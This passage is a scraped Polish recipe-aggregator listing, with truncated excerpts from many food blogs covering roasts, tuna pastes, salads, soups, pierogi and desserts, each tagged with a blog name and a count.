paski, a cebulę w piórka. Warzywa przekładamy do rękawa do mięsa. Całość zamykamy. Pieczemy 45- 50 min w 180 stopniach. Po upieczeniu polędwicę kroimy w plastry, polewamy wytworzonym sosem. Podajemy z warzywami

słodki bratek
KAWOWA PANNA COTTA Z GALARETKĄ WIŚNIOWĄ 184

zanurzenie na chwilę w gorącej wodzie, można lekko podważyć nożem. Podajemy z wiśniami nasączonymi w alkoholu.    UWAGA!!! Jeśli nie lubicie galaretki, gotową panna cottę można polać ulubionym sosem owocowym

słodki bratek
Orientalna surówka z młodych warzyw 213

nasion sezamu dressing 6 łyżek oleju (np. ryżowy; NIE oliwa z oliwek ) 2-3 łyżki octu ryżowego (ewentualnie octu winnego) 1,5-2 łyżki syropu z agawy 2 łyżki sosu sojowego 1 łyżka oleju sezamowego 2 szczypty świeżo mielonego pieprzu czarnego/zielonego Kapustę drobno siekamy, marchewkę kroimy w słupki. Szpinak szypułkujemy. Szczypiorek kroimy w 2 cm kawałki. Papryczkę chili drobniutko siekamy

sierotka maRysia w kuchni
Pasta z tuńczyka 222

Składniki: Puszka tuńczyka w sosie własnym 3 jajka ugotowane na twardo szczypiorek majonez sól i pieprz Przygotowanie: Ugotowane na twardo jajka obrać i pokroić w drobną kostkę. Odlać wodę z tuńczyka i dodać go do jajek. Następnie dodać posiekany szczypiorek, majonez i doprawić solą i pieprzem. Wszystko dokładnie wymieszać

The Sweet Damsel
Pasztet z jajka i cieciorki 237

Masz ochotę na coś nowego, szybkiego i prostego? Przygotowanie zajmie Ci 15-20 minut. Pasztet jest pyszny na ciepło i na zimno a z pikantnym sosem smakuje wyśmienicie, smacznego! Składniki: 7 jajek: 6 na twardo 1 surowe 1 szklanka cieciorki ( z puszki lub ugotowanej) 1 cebula 3 łyżki oliwy kilka gałązek świeżej  pietruszki

Pora na pora i pomidora
Bulion warzywny. 221

Dziś Kochani mam dla Was przepis na podstawowy składnik wielu zup i sosów, a mianowicie na bulion warzywny. Bulion (zwany także rosołem warzywnym) jest bardzo prosty do przygotowania, praktycznie sam się robi :), więc tym bardziej zachęcam Was do przygotowywania go samodzielnie,(zamiast korzystania z gotowej kostki). Najlepiej smakuje ugotowany z warzyw pochodzących z własnego ogródka, ale teraz, wczesną wiosną, ratujemy

Rozpustne gotowanie
nadzieja w piekle,czyli kopytkowe miseczki 189

nadzieja w piekle,bo czerwony ostry sos ,a zielone kopytka i jajko jako symbol nowego życia. Składniki 1kg sypkich ziemniaków (ugotowane w mundurkach) ok. 2 ½ -3 szkl. mąki pszennej 1 Jajko sól 100g świeżego szpinaku nitki chilli opcjonalnie jajka Wykonanie Ugotowane ziemniaki obrać i przepuścić przez praskę ..Przestudzić. Szpinak umyć ,odcedzić i posiekać drobno Do ziemniaków dodać sól do smaku

w mojej kuchni
KURCZAK FASZEROWANY KASZĄ OWSIANĄ 212

razem mieszamy. Tak przygotowanym farszem nadziewamy kurczaka. Zaszywamy do pieczenia lub spinamy wykałaczkami . Pieczemy ok 1 godz po czym odkrywamy i zapiekamy kurczaka jeszcze z 20 minut polewając wytworzonym sosem

Z Majeczką w kuchni
Szynka pieczona 182

świeżo mielonym czarnym pieprzem i nasmarować mięso ze wszystkich stron. Włożyć do naczynia do zapiekania i piec w piekarniku w temperaturze 180-190 stopni C przez 1h. Powstały sos (tłuszcz) zlać do małego garnuszka i wymieszać z dwoma łyżkami miodu. Polewamy dokładnie całą szynkę i pieczemy jeszcze około 10-15 minut do zarumieniania

Pyry na Gaz
Pasta jajeczna z tuńczykiem. 146

Składniki: 2 jajka 3 łyżki oliwy sól, papryka ostra mielona 170 g tuńczyka w sosie własnym Jajka gotujemy na twardo i ścieramy na tarce o dużych oczkach, tuńczyka odsączamy i razem przekładamy do miski/na talerz. W małej miseczce mieszamy oliwę z przyprawami i wlewamy ją do naszych jajek z tuńczykiem - dokładnie ze sobą mieszamy. Smacznego

Moje-pitraszenie
Tuna rolls 261

Składniki 5 arkuszy prasowanych wodorostów nori 250 g ryżu do sushi sos do ryżu: 3,5 łyżki octu ryżowego 1,5 łyżki cukru 0,5 łyżeczki soli dodatki: 100 g łososia wędzonego 1 … Czytaj dalej Tuna rolls

czarrna od kuchni
Żeberka jarmarczne duszone 199

Dawno nie było mięsa, a więc czas nadrobić zaległości. Zrobiłam żeberka duszone w sosie z kiszonym ogórkiem. Polecam Wam, bo są rewelacyjne w smaku. Do tego ziemniaki i surówka. Czyż nie jest to pyszny obiad? Jeśli macie ochotę wypróbować żeberka przygotowane w inny sposób, ale równie smaczny to zapraszam tutaj A na sobotni lub niedzielny obiad polecam poniższy sposób

O kuchni z uczuciem
Pasta tuńczykowo-pietruszkowa 202

kanapki. Zielona pietruszka świetnie smakuje z tuńczykiem. Jestem pewna, że polubicie poniższą pastę, ponieważ jest błyskawiczna w przygotowaniu :) Składniki na porcję dla 2 osób: 1 puszka tuńczyka w sosie własnym (120 g po odsączeniu) połowa pęczka zielonej pietruszki (30 g) 3 łyżki oliwy z oliwek 1 ząbek czosnku sól, pieprz Tuńczyka odsączyć. Pietruszkę umyć, osuszyć. Do kielicha blendera dodać pietruszkę

Ugotować
Pierś z kurczaka w sosie szpinakowo-serowym 161

mięsa dodać rozgniecione ząbki czosnku, a następnie szpinak. 4. Wlać śmietankę, doprawić solą, pieprzem, gałką muszkatołową i estragonem. Dodać ser topiony. Gotować wszystko 2-3 minuty bez przykrycia by sos lekko zgęstniał. 5. Podawać wedle uznania, u nas akurat z ryżem. Smacznego!!! Źródło: Niebo na talerzu

Kuchnia domowa Ani
Mleko kokosowe 157

mleko kokosowe w towarzystwie owoców, które do nich dodaję, sprawdza się naprawdę dobrze. Można je również świetnie wykorzystać (zwłaszcza gęstszą część) do zabielania zup, robienia lodów czy do domowego sosu satay. Najczęściej robi się je z wiórek kokosowych i taka też jest moja propozycja – jest to najtańsza i najwygodniejsza opcja. Wiórki kokosowe możemy z powodzeniem kupić już od około

Blendman
Quesadillas z chili con carne 235

Jeżeli nie używamy zgrzewarki, ani patelni - nagrzewamy piekarnik na 180 stopni. Na placki tortilli wysypujemy starty ser i wykładamy chili con carne. Tortillę składamy na pół lub rozkładamy mięsny sos na jednej tortilli i przykrywamy drugą. Tak przygotowane quesadillas umieszczamy w zgrzewarce, pieczemy na patelni lub w piekarniku przez ok. 5 minut, aż ser się roztopi. Kroimy przy pomocy noża

Be Fit Be Strong
Ciasto wytrawne o smaku koperkowym (z żółtym serem, mięsem i pieczarkami) 256

piec (do tzw. suchego patyczka) około 45-50 minut w 180 stopniach. Po upieczeniu odczekać kilka minut, aby lepiej się kroiło. Można podawać w wersji solo lub z ulubionym sosem

Di gotuje
Soczysta karkówka duszona w miodzie 242

Soczysta karkówka na moim wielkanocnym stole w tym roku wylądowała. Karkówka tak pieczona jest aromatyczna i bardzo soczysta a kremowy sos pomidorowo - miodowy nadaje mięsu charakteru. Bardzo serdecznie polecam. Soczysta karkówka duszona w miodzie. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Szynka pieczona w marynacie klasycznej (gotowej) 237

czasie mięso (z marynatą) przełożyć do naczynia żaroodpornego. Piec (w rozgrzanym piekarniku) około 2 godzin w 180 stopniach. (W międzyczasie podlewać wodą i uważać, aby sos się nie przypalił.) Mięso prze zamarynowaniem można pokroić w plastry. Wtedy czas marynowania i pieczenia należy skrócić

Di gotuje
Kim jestem i co tu robię? Kilka słów o mnie 129

tyle mi przypadła do gustu, że postanowiłem stworzyć właśnie takiego bloga. A czego można się tutaj spodziewać? Przede wszystkim przepisów, do których potrzebny jest blender. Od past i sosów aż po desery. Wszystkie przepisy są oczywiście wegańskie! Artykuł Kim jestem i co tu robię? Kilka słów o mnie pochodzi z serwisu Blendman.pl - wegańskie przepisy z użyciem blendera

Blendman
Mleko kokosowe 170

mleko kokosowe w towarzystwie owoców, które do nich dodaję, sprawdza się naprawdę dobrze. Można je również świetnie wykorzystać (zwłaszcza gęstszą część) do zabielania zup, robienia lodów czy do domowego sosu satay. Najczęściej robi się je z wiórek kokosowych i taka też jest moja propozycja – jest to najtańsza i najwygodniejsza opcja. Wiórki kokosowe możemy z powodzeniem kupić już od około

Blendman
Wegańska śmietana z nerkowców 217

dziwnych zagęstników… sama natura. Wybitnie prosta w przygotowaniu, o ciekawym smaku. Ja przygotowałem ją specjalnie jako dodatek do zupy orzechowej, ale mam zamiar ją zużyć również do sosu tatarskiego oraz do mizerii, która będzie świetną towarzyszką dla kotletów sojowych (kotlety sojowe nie należą do najzdrowszych, zwłaszcza jeśli smażymy je tak jak ja na głębokim tłuszczu, dlatego mam nadzieję

Blendman
Śniadanie prawie brytyjskie 260

prawie robi sporą różnicę. Tak naprawdę jest to moja interpretacja jednego z najbardziej popularnych śniadań świata: kiełbaska, fasolka w sosie pomidorowym i jajko. Kiedy szykuje nam się naprawdę ciężki dzień z perspektywą późnego obiadu, takie śniadanie jest idealną opcją. Syta porcja na dwie osoby: Fasolka: - 1 średnia cebula - 0,5 - 1 papryczka chili z ziarenkami - 1 puszka fasolki białej wraz

kawawszklance
Jak zrobić domowe ciasto na pizzę (na drożdżowym zaczynie)? 214

ebook!), takie kompendium na temat robienia domowej pizzy :)) Planuję takie tematy: - tradycyjne ciasto na włoską pizzę - nietypowe ciasta: bez drożdży, bezglutenowe - oszukana pizza/pizza ekspresowa - tradycyjna pizza margherita - jak zrobić sos pomidorowy do pizzy - jak formować pizzę - jaka mąka do pizzy - jak zrobić calzone Macie jakieś sugestie, jakie przepisy chcielibyście zobaczyć?  Jak zrobić domowe ciasto na pizzę na drożdżowym zaczynie

Chilli Czosnek i Oliwa
Meksykańskie chili con carne z domowymi nachos 253

czerwonej fasoli (240g) - 125ml wody - 3 cebule - 1 czerwona papryka - 1 żółta papryka - 2 papryczki chili - 2 łyżki oleju  - 1 łyżka koncentratu pomidorowego - 3 ząbki czosnku - 2 łyżeczki sosu sojowego - 1 łyżeczka domowego koncentratu bulionu warzywnego lub mięsnego (ew. 1 bio kostka) - 1 łyżeczka suszonego oregano - 1 łyżeczka kuminu - 1 łyżeczka cukru - 1/3 łyżeczki pieprzu cayenne - 2 liście laurowe

Be Fit Be Strong
Muffinki z gorzką czekoladą 199

nagrzanego piekarnika do 170*c i piec około 20 minut lub do suchego patyczka. Krem czekoladowy przełożyć do szprycy cukierniczej, udekorować muffinki, posypać tartą czekoladą. Można też polać sosem czekoladowym. Słodkich wypieków

Wanilia i Kardamon
Karbowane wstążki z sosem z sera pleśniowego 198

tego ulubiona, niedawno odkryta trybula i obiad gotowy, polecam serdecznie. Danie robi się błyskawicznie a to ważne jak zgłodniali wracamy do domu po pracy. Karbowane wstążki z sosem z sera pleśniowego. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Camembert na pieczonych ziemniakach i "Zaplątana miłość" 173

innymi przyprawami. Na wierzchu ułożyć ciepły camembert. Podawać z surówką lub np. sałatką z ogórków i chili . ----- Podobne: Mozzarella w płatkach owsianych Tortilla patatas z chorizo Camembert w sosie malinowym Po "Zaplątaną miłość" Karoliny Wilczyńskiej sięgnęłam ze względu na okładkę. Książka jest równie ciepła jak ta okładka, choć główne bohaterki (babcia, matka i córka) są właśnie na etapie przeżywania ciężkich

Weekendy w domu i ogrodzie
Pieczona papryka. Jak w łatwy sposób pozbyć się skórki? 178

zmniejsza apetyt, przyspiesza spalanie tłuszczu, odmładza i poprawia nastrój. To warzywo uniewersalne, a lista potraw jakie przygotujesz z jej udziałem jest imponująca. Paprykę możesz wykorzystać  do przygotowanie zup, sosów, past, dipów, do dań z makaronem, ryżem. Króluje w kuchni śródziemnomorskiej - we Włoszech - jako antipastti, w Hiszpani - słynne tapas. Papryka będzie zdrowsza, bo lekkostrawna, gdy pozbawimy ją skórki. Wystarczy upiec

Gotuj zdrowo!Guten Appetit!
Spaghetti pełnoziarniste z kurczakiem w sosie serowym 253

makaronu pełnoziarnistego 1 kulka mozzarelli 1 kostka serka topionego śmietankowego 1 cebula 2 ząbki czosnku tarty parmezan papryczka chili sól, … Czytaj dalej Spaghetti pełnoziarniste z kurczakiem w sosie serowym

czarrna od kuchni
Polenta z grzybami 150

bardzo wietrzny dzień był i, choć ominęła mnie migrena, to strasznie byłam wczoraj senna. Post jest dziś Po świątecznych obiadach i serniczkach czas na powrót do lekkiego jedzenia. Tradycyjne sosy, żurki, kluski i rolady potrafią obciążyć żołądek i potem marzymy o ... [Read more

Gotuj z Blue Raven
Kolorowa salatka z resztek 198

dymka, cebulka ze szczypiorkiem, pokrojona pół zielonego ogórka ze skórką, startego listki bazylii, posiekane listki mięty do smaku, posiekane zalewa: kawałek imbiru, obrany i starty ząbek czosnku, starty łyżka sosu sojowego łyżka soku z cytryny 2 łyżki oliwy łyżka płynnego miodu garść uprażonych, posiekanych migdałów Wszystkie składniki sałatki, oprócz migdałów umieszczamy w misce. Mieszamy elementy zalewy. Wszystko łączymy, nakładamy

Dzieje kuchennej Wiewióry
Potrawka z królika ze świeżym rozmarynem 143

ugotowaniu wyjmujemy, studzimy, oddzielamy od kości i rozdrabniamy. Do wody z gotowania mięsa wrzucamy pokrojoną w kostkę marchewkę, włoszczyznę i posiekany w półtalarki por. Gdy warzywa będą miękkie sos doprawiamy, wrzucamy posiekane listki świeżego rozmarynu, zagęszczamy koncentratem pomidorowym i rozrobioną w wodzie mąką ziemniaczaną (u mnie 2 czubate łyżki, ale to zależy od ilości wody w garnku), zabielamy śmietaną

Kolorowy Przepisownik
Sałatka z pieczoną karkówką 215

Dodajemy karkówkę oraz odcedzone z zalewy oliwnej pestki dyni. Doprawiamy solą i pieprzem. Jogurt naturalny łączymy z przeciśniętym przez praskę czosnkiem. Doprawiamy solą i pieprzem i łączymy z sałatką. Sos możemy także podać w osobnym naczyniu i polać sałatkę po wierzchu tuż przed podaniem

Kuchnia w czekoladzie
Gołąbki z kapusty włoskiej nadziewane mięsem z pieczarkami i kaszą pęczak. 228

naczyniem szklanym, jeśli nie macie takiego to możecie przykryć resztą liści lub po prostu papierem do pieczenia. Pieczemy w temperaturze 180 stopni około 50 minut. Gołąbki można podać z sosem pomidorowym, ketchupem lub czym wolicie. Smacznego

Sama słodycz i szczypta chili
Kurczakburger - domowy fast food. 171

mleka 1 i 1/2 łyżeczki cukru 1 i 1/2 łyżeczki soli 2 łyżki masła (roztopionego) sezam (dałam siemię lniane) jajko do posmarowania wierzchu bułek Pozostałe: mix sałat pomidory sos (majonez, keczup, jogurt naturalny) Wykonanie: Wszystkie składniki na kotlety dobrze wymieszać. Smażyć na patelni niezbyt grube kotlety. Z podgrzanego mleka cukru i drożdży przygotować rozczyn i pozostawić do wyrośnięcia. Do miski

zadanie-gotowanie
Sos czosnkowy 166

Ekspresowy sos czosnkowy na bazie jogurtu naturalnego. Doskonały do pizzy, calzone i innych dań. Składniki: 200 ml jogurtu naturalnego gęstego 1 łyżka majonezu 2 ząbki czosnku sól, pieprz Sposób przygotowania: 1. Jogurt dokładnie wymieszać z majonezem, aby nie było żadnych grudek. Dodać obrany i przeciśnięty przez praskę czosnek. Doprawić solą i pieprzem. Wszystkie składniki dokładnie wymieszać i odstawić do lodówki

Na Ciasteczkowych Papierach
Kokosowy budyń z siemienia lnianego 170

Budyń (pudding) z siemienia lnianego z sosem wiśniowym i makiem. Wracam i wracam i wrócić nie mogę. Może tym razem się uda? Chcę wierzyć w siebie i uśmiechać się... jak kiedyś (a może jeszcze szerzej? ;)  Miłego dnia. Niech te słowa podziałają jak zaklęcie :) PRZEPIS: własny / 1 porcja /  składniki:    2 łyżki zmielonego siemienia lnianego (lnu mielonego

tost z dżemem
Roladki drobiowe z pieczarkami i żółtym serem 231

kształtu). Przygotowane roladki ułożyć w naczyniu żaroodpornym. Wlać 1 szklankę wody i przykryć pokrywką. Piec przez około 45-50 minut w 180ºC. Po upieczeniu roladki odwinąć z folii. Ewentualnie sos z naczynia żaroodpornego zagęścić i polać nim roladki drobiowe. Roladki przed i po upieczeniu *specjalnie nie podałam konkretnej ilości składników, ponieważ to od Was będzie zależało ile farszu dodacie

Ugotować
Zapiekanka makaronowa z sosem serowym. 169

mięso. Do garnka o grubym dnie wlewamy wodę, dodajemy śmietanę oraz rozdrobniony ser topiony. Doprawiamy do smaku, gałką muszkatołową oraz pieprzem i mieszamy do czasu rozpuszczenia sera. Kiedy sos będzie już gładki zalewamy nim zapiekankę. Wstawiamy do nagrzanego piekarnika do 180C i pieczemy około 25- 30 min. Pięć minut przed końcem zapiekankę posypujemy startym żółtym serem. Gdy ser się

Radość kipiąca uśmiechem.
Zupa pomidorowa z soczewicą i ryżem jaśminowym. 174

mężowi smakowało :) Składniki: 2 l bulionu warzywnego lub drobiowego 2 marchewki  4 łyżki ryżu jaśminowego 8 łyżek czerwonej soczewicy 500 g passaty pomidorowej sól pieprz kumin rzymski sos sojowy sok z połowy limonki Wykonanie: Marchewkę obrać i pokroić w kostkę. Marchew, soczewicę i ryż zalać bulionem, gotować do miękkości (ok. 30 minut). Dodać przecier pomidorowy, przyprawić do smaku. Przed

zadanie-gotowanie
Marokańska sałatka z cieciorki. 186

Cieciorkę opłukać i odsączyć na sitku. Wymieszać ze startą marchewką, rodzynkami, natką, skórką cytrynową, migdałami, szalotką i solą. Przyprawy ugnieść w moździerzu i połączyć z oliwą, sokiem i cukrem. Sosem zalać sałatkę, delikatnie wymieszać i odstawić do połączenia smaków (przynajmniej 30 minut) Przełożyć do docelowego naczynia i udekorować dodatkową zieleniną

zadanie-gotowanie
Fajita z czarną fasolą i grzybami. 177

paski boczniaki, szczyptę soli i smażyć około 15 minut na średnim ogniu. Pod koniec smażenia dodać odsączoną i przepłukaną fasolkę. Tortille podgrzać i układać na nich (na środku) warstwami: sos, roszponkę, boczniaki z fasolką, salsę z avocado. Zwinąć i podawać

zadanie-gotowanie
Rodbetssallad - sałatka z marynowanych buraczków. 294

Wykonanie: Buraczki odsączyć i pokroić w ósemki (proponuję użyć przy tym lateksowych rękawiczek!). Jabłko obrać i pokroić w kostkę o wielkości podobnej do kawałków buraczków. Z pozostałych składników przygotować sos. Całość delikatnie wymieszać

zadanie-gotowanie
Morbradgryde - polędwiczki w sosie z pieczarkami i porem. 232

mama i babcia (i sąsiadki pewnie też). No cóż, Duńczycy mają widocznie podobny gust kulinarny do Polaków. I jeszcze parę innych zalet też mają;) Zdradzę Wam, że polędwiczki w sosie porowo-pieczarkowym bardzo zasmakowały mojej żonie. Takie obiady mogłaby jeść codziennie:) Chyba będę musiał wymyślić hasło tygodnia, które pozwoli na więcej tego typu gotowania! Polędwiczki wydają się łatwym i bardzo

zadanie-gotowanie
Gubbrora - sałatka z jajek i anchois. 180

śmietany 2 łyżki pasty kawiorowej z tubki 6 - 8 filecików anchois pęczek koperku pęczek pietruszki pęczek szczypiorku Wykonanie: Jajka posiekać i wymieszać z zieleniną. Pozostałe składniki zmiksować na gładki sos. Wymieszać delikatnie całość i podawać na skandynawskim chrupkim pieczywie lub pumperniklu

zadanie-gotowanie
Glazurowane filety z udek kurczaka. 272

brązowy około 25 - 30 minut. Ogórek pokroić na cienkie plasterki i wymieszać z octem, cukrem i solą - wg własnego smaku. Podawać jak na zdjęciu - z ryżem polanym delikatnie czerwonym sosem z dna naczynia żaroodpornego i zieloną pietruszką

zadanie-gotowanie
Naleśniki z farszem cebulowym. 202

cebulowym. W czasie ich przyrządzania nie biegałam po mieszkaniu, chociaż może powinnam. Sprawiłabym radość dzieciakom (matka wariatka) ;) Danie jest bardzo smaczne, tanie i łatwe w przygotowaniu. Można podawać z sosem, np. czosnkowym. Polecam. P.S. Dzisiaj jest też Międzynarodowy Dzień Pizzy :) Składniki (na ok. 10 naleśników): Ciasto: 2 szkl. mleka - 1,20 zł 2 szkl. mąki - 1,20 zł 1 duże

zadanie-gotowanie
Kanapka BLT. 197

plastry surowego boczku 1 duży pomidor 2 liście sałaty lodowej lub rzymskiej 2 łyżki majonezu 1 łyżeczka ostrej musztardy (np. angielskiej, dijon) kilka kropli tabasco (lub ostrego sosu bbq) szczypta suszonej bazylii  Wykonanie: Boczek usmażyć na patelni do momentu kiedy zacznie stawać się chrupki. Z pieczywa zrobić tosty lub pozostawić świeże. Posmarować mieszaniną majonezu i musztardy. Na dolnej kromce

zadanie-gotowanie
Zupa migdałowa. 206

potrzebowałabym mleka, migdałów, rodzynek i ryżu. Nie przepadam za rodzynkami, także pominęłam ten składnik. Dodatkowo zaś użyłam skórki pomarańczowej, cynamonu i cukru trzcinowego. Przed podaniem natomiast, wierzch polałam sosem z owoców leśnych, który idealnie kontrastował ze smakiem zupy. Bardzo smakowało mi to danie kresowe, które według mnie jest raczej propozycją na śniadanie lub deser niż na obiad. Składniki

zadanie-gotowanie
Pascha. 149

nawiązującą do Grobu Chrystusa. Istnieją dwie metody przyrządzania paschy, na zimno i na ciepło. Wybrałam tę pierwszą. Kluczem do  osiągnięcia sukcesu jest użycie dobrej jakości twarogu. Podawałam z sosem z owoców leśnych. Składniki: 500 g twarogu półtłustego 4 żółtka 1 szkl. cukru pudru 130 g miękkiego masła 100 ml słodkiej śmietanki 30-36% ziarna z jednej laski wanilii

zadanie-gotowanie
Ukraińskie gołąbki z kaszą i ziemniakami. 240

można pomiędzy gołąbkami umieścić pomidory z puszki. Przykryć i wsadzić do piekarnika na 1 i 1/2 godziny (170 stopni). Jeżeli nie używamy pomidorów, gołąbki należy podać z osobno przyrządzonym sosem: pomidorowym, grzybowym lub koperkowym. Przybrać koperkiem

zadanie-gotowanie
Szakszuka. 179

miękkości (około 20 minut). Dodać roztarty z solą ząbek czosnku i przyprawy. Wymieszać i po minucie dodać pomidory z puszki. Dusić na małym ogniu około 15 minut do zgęstnienia sosu. Dodać pokruszony ser i wymieszać. Wbić jajka i włożyć patelnię do piekarnika rozgrzanego do 190 stopni. Zapiekać do ścięcia jajek - około 5 - 10 minut. Podawać z natką kolendry lub pietruszki

zadanie-gotowanie
Pizza z jajkami. 176

Pizza w nieco innym wydaniu. Ciasta nie posmarowałam sosem pomidorowym, a jedynie posypałam dwoma rodzajami sera. Powinnam się tu jednak trochę bardziej postarać i więcej uwagi poświęcić równomiernemu rozłożeniu sera. Następnym razem będzie lepiej, obiecuję :) W lodówce miałam jeszcze kilka plastrów szynki parmeńskiej. Wobec tego i ona znalazła się na mojej pizzy. Wszelkie zamienniki dozwolone. No i najważniejszy składnik tego

zadanie-gotowanie
Pierogi z nadzieniem mandarynkowym i orange curd. 199

pierogów zrobić słodkie nadzienie z kaszy manny i mandarynek. A jeszcze lepszym pomysłem jest polanie ich orange curd. Poezja :) Słodki środek z aromatyczną wanilią i lekko kwaśny sos pomarańczowy, to bardzo harmonijne połączenie. Jeśli lubicie pierogi, a do tego w wersji deserowej, to koniecznie wypróbujcie ten przepis. Składniki: Ciasto: 350 g mąki pszennej 125 ml wody jajko sól Nadzienie

zadanie-gotowanie
Sałatka z czerwonych pomarańczy i buraków. 205

bardzo cienkie plasterki. Z fenkułu również odkroić kilka bardzo cienkich plasterków. Buraki odsączyć i zaaranżować na talerzu z resztą składników i kilkoma listkami zielonej mięty. Można polać niewielką ilością sosu, w którym marynowały się buraki. Opcjonalnie można pokruszyć na wierzch trochę fety lub ułożyć obok kleks jogurtu

zadanie-gotowanie
Sałatka z łososiem i grejpfrutem. 196

pierwszym skojarzeniem jest ta z jarzynami i majonezem. Znana, lubiana, sprawdzona. Jednak coraz częściej sałatki są komponowane ze składników wprost na talerzu, skropione oliwą lub z dodatkiem jakiegoś lekkiego sosu. Chciałam, aby w moim kolejnym daniu z cytrusami znalazł się grejpfrut. Do niego dobierałam pozostałe składniki. Jak się okazało szpinak, łosoś i migdały to bardzo dobre towarzystwo dla grejpfruta. Orzechowy

zadanie-gotowanie
Biała kiełbasa w piwie. 165

kilku miejscach wykałaczką. Miód i musztardę połączyć, następnie posmarować kiełbasę. Wstawić do piekarnika nagrzanego do 180°C i piec ok. 40 minut, polewając od czasu do czasu powstałym sosem

zadanie-gotowanie
Muffiny ziemniaczane. 205

którą podaje jest podstawowa, ale czujcie się swobodnie w jej ulepszaniu. Do masy można dodać wiele innych składników (np. curry, boczek, suszone pomidory itd.). Jeżeli oprócz ziemniaków mamy pozostałości sosu z kawałkami mięsa, marchewki, groszku itp. to także możemy umieścić je w środku muffinów. Składniki: 300 - 500 g tłuczonych ziemniaków 2 (1 + 1) łyżki masła 50 - 70 g startego cheddara

zadanie-gotowanie
Chrzan jabłkowo-pomarańczowy. 219

Chrzan przeżywa swoje wielkie chwile w czasie Wielkanocy. Oczywiście nie tak wielkie jak jajka - pozostaje raczej aktorem drugiego planu, lecz występującym w wielu scenach. Dodaje się go do zup, sosów i sałatek. Chyba jednak najczęściej towarzyszy wędlinom. Zwykły chrzan tarty lub ze śmietaną. No i ulubiona przez wielu ćwikła. Czy jest tu miejsce na jakieś inne wersje lub innowacje

zadanie-gotowanie
Pasztet z białej fasoli i jabłka. 218

płatków owsianych. To działa :) I to jak! Pasztet jest łagodny w smaku, lekko słodkawy dzięki podsmażonej cebuli i jabłku. Świetnie smakuje na świeżym chlebie z dodatkiem czegoś pikantnego jak sos chrzanowy , dobra musztarda,  chutney  lub konfitura z cebuli . Przepis pochodzi od Marty Dymek, a ja lekko zmieniłem proporcje, jak często mi się zdarza ;) Mam wielką nadzieję

zadanie-gotowanie
Polędwiczki z dzika w czerwonym winie. 238

oraz jałowca, a jeśli trzeba podlać mięso resztą wina i smażyć pod przykryciem nadal Po około 30 min smażenia polędwiczek dopiero posypałam solą i zmielonym pieprzem, w tym czasie sos uległ redukcji i zagęścił się

Proste Potrawy
SAŁATKA Z CIECIORKĄ I SOCZEWICĄ 157

ogórka kroimy w małą kostkę. Pomidorki przekrawamy na połówki. Cieciorkę mieszamy z soczewicą i warzywami. Oliwę łączymy z octem , musztardą, doprawiamy odrobiną soli i pieprzu. Wymieszaną sałatkę polewamy sosem i skrapiamy sokiem z limonki, delikatnie mieszamy. Jeśli lubimy możemy do sałatki dodać drobno posiekanej świeżej mięty

Z Majeczką w kuchni
Łopatka duszona z winem 219

godzin na małym ogniu. W razie potrzeby doprawić jeszcze do smaku lub dolać wody. Miękką łopatkę przełożyć na blachę wyłożoną pergaminem i grillować kilka minut w piecu..Powstały sos zmiksować dodać łyżkę śmietany trzymać do zagotowania na ogniu. Podać np. z glazurowaną marchewką  Przepis tutaj :-)  i gotowe... Smacznego

Gaździnka warzy
najlepsze burgery: topinambur, pietruszka, tofu 228

jednej strony delikatnie słodkawe (prawdopodobnie dzięki pietruszce), z drugiej wytrawne. Niebo w ... buzi.Tak naprawdę brakuje mi słów, aby opisać ich smak. Musicie spróbować sami. Dodatkowo zrobiłam do niech czosnkowy sos na bazie jogurtu sojowego. PYCHA! SKŁADNIKI: 3 bulwy topinaburu- ok 150g 2 pietruszki- ok 60g 130g tofu naturalnego 2 ząbki czosnku 1/2 czerwonej cebuli przyprawy: czarnuszka, słodka papryka wędzona, pieprz

healthy dreams
Pizza śniadaniowa - Pizza z jajkiem 172

oliwą (razem z gałązką) i ułóżcie na wierzchu pizzy. Gdy pizza się upiecze, usuńcie gałązkę, pomidory rozgniećcie widelcem i rozsmarujcie na całej pizzy. Ciasto przed nałożeniem sera możecie posmarować sosem pomidorowym lub przecierem pomidorowym. Pizza z pewnością na tym skorzysta.  *** Jeżeli spodobał Ci się ten wpis, pozostańmy w kontakcie. Możesz śledzić moją stronę na  Facebooku

Chilli Czosnek i Oliwa
jajka marynowane w zalewie z buraczków 131

gotujemy na twardo, studzimy i obieramy. Do garnuszka lub słoika wkładamy jajka i zalewamy je zimną zalewą, tak aby całe były w zalewie. Marynujemy przez noc. Podajemy z ulubionymi sosami do jajek

Domowy Smak Jedzenia
Zrazy z karkówki 274

obsmażam zrazy. Mięso zalewam wodą (tak by było zanurzone). W 1/2 szklanki wody mieszam mąkę i paprykę mieloną. Masę wlewam do mięsa. Mięso duszę na małym ogniu do miękkości. Sos doprawiam do smaku solą oraz pieprzem. Zrazy podaję z ziemniakami i sałatką Nadwiślicką.   Zrazy podałam z pyszną sałatką Nadwiślicką z czerwonej kapusty z jabłkiem, którą otrzymałam do testowania

Tradycyjna kuchnia Kasi
Camembert smażony w panierce orzechowo-sezamowej 218

solą) jajku oraz następnie w panierce orzechowo-sezamowej. (Zrobiłam to podwójnie.) Smażyć (po obu stronach) na na rozgrzanym tłuszczu. Najlepiej smakuje bezpośrednio po przygotowaniu i dobrze komponuje się z sosem żurawinowym

Di gotuje
Faszerowane jajka z pstrągiem i chrzanem wasabi. 226

przepyszne!  Spróbujcie zrobić je na mój sposób! Życzę smacznego jajeczka! ;-))) SKŁADNIKI: - 6 jaj ugotowanych - 1/4 kostki sera feta - wędzony pstrąg tęczowy - dymka - natka pietruszki  - 3 łyżki sosu tatarskiego - łyżeczka chrzanu wasabi Jajka gotujemy na twardo. Wyjmujemy żółtka mi mieszamy z w/w składnikami. Faszerujemy jajka, posypujemy obficie dymką! Smacznego

SMYKWKUCHNI
Mazurek orzechowo-daktylowy. 236

czubata łyżka masła orzechowego Daktyle kroimy i zalewamy wrzątkiem. Odstawiamy, aż zmiękną. Miksujemy na gładką masę. Do 2/3 części kremu dodajemy kakao. Do pozostałej części masło orzechowe. Schładzamy.  SOS: łyżka oleju kokosowego czubata łyżka kakao 1-2 łyżeczki cukru  Na małej patelni rozpuszczamy olej. Dodajemy do niego kakao i cukier, dokładnie mieszając.  Na wystudzony spód nakładamy krem

More food, love and dreams
Combry jagnięce w winnej marynacie 193

